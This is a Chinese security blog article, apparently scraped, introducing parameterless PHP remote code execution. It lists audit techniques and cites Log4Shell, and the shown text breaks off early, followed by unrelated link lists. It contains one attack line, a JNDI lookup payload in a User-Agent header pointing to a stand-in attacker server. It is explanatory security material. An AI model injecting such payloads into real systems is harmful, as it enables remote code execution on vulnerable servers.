当前位置: 首页 > article >正文

【网络安全 | 代码审计】PHP无参数RCE

未经许可,不得转载。

文章目录

    • 无参数RCE
    • 代码审计
    • 1、利用Session ID实现无参数RCE
    • 2、利用get_defined_vars ()函数实现无参数RCE
    • 3、利用getallheaders()实现无参数RCE
    • 4、利用getenv()实现无参数RCE
    • 5、利用scandir()实现无参数RCE
    • 靶场实例

无参数RCE

一般情况下,RCE需要通过传递特定的输入(如URL参数、POST请求数据、表单数据等)来触发漏洞并执行恶意代码。而无参数RCE是一种特殊的远程代码执行漏洞,它的特点是通过调用多个函数(或利用系统中已有的代码路径)来实现远程代码执行,而无需显式的参数。

例如,log4j2 漏洞(CVE-2021-44228)就是一个经典的无参数RCE示例:

在这里插入图片描述

https://blog.cloudflare.com/zh-cn/inside-the-log4j2-vulnerability-cve-2021-44228/

当请求头中的 User-Agent 被修改为如下内容时:

User-Agent: ${jndi:ldap://attacker-server.com/exploit}

日志框架会自动解析该用户代理头并执行外部服务器上


http://www.kler.cn/news/314573.html

相关文章:

  • 从图像处理到字符识别:基于STM32与C语言的车牌识别系统实现
  • HarmonyOS开发者基础认证考试试题
  • 基于mockito做单元测试
  • 16【Protues51单片机仿真】智能洗衣机倒计时系统
  • 【如何在 Windows 10 主机上通过 VMware 安装 Windows 11 虚拟机,并共享主机网络】
  • ftp服务的管理及安全优化
  • Google 扩展 Chrome 安全和隐私功能
  • C/C++通过CLion2024进行Linux远程开发保姆级教学
  • io多路复用:epoll水平触发(LT)和边沿触发(ET)的区别和优缺点
  • Linux 自旋锁
  • Spring Mybatis 动态语句 总结
  • 简单生活的快乐
  • (k8s)kubernetes集群基于Containerd部署
  • Flask-SQLAlchemy一对多 一对一 多对多关联
  • GDPU Andriod移动应用 Activity
  • 【数据结构与算法】LeetCode:哈希表
  • Alinx MPSoC驱动开发第17章I2C实验修改设备树后petalinux编译报错
  • 分布式Id生成策略-美团Leaf
  • 使用python对图像批量水平变换和垂直变换
  • 深度学习参数管理
  • MySQL-DDL/DML(数据定义/操作语言)
  • GIS开发之如何使用OpenLayers,Leaflet,Mapbox,Cesium,ArcGIS, Turf.js 与 D3.js
  • 【Webpack--00802】配置Babel语法兼容
  • 【图像检索】基于Gabor特征的图像检索,matlab实现
  • Python面试宝典第50题:分割等和子集
  • Vscode、插件历史版本下载
  • [数据结构与算法·C++] 笔记 1.4 算法复杂性分析
  • [附源码]SpringBoot+VUE+Java实现人脸识别系统
  • 实战指南:深度剖析Servlet+JSP+JDBC技术栈下的用户CRUD操作
  • 探秘 Web Bluetooth API:连接蓝牙设备的新利器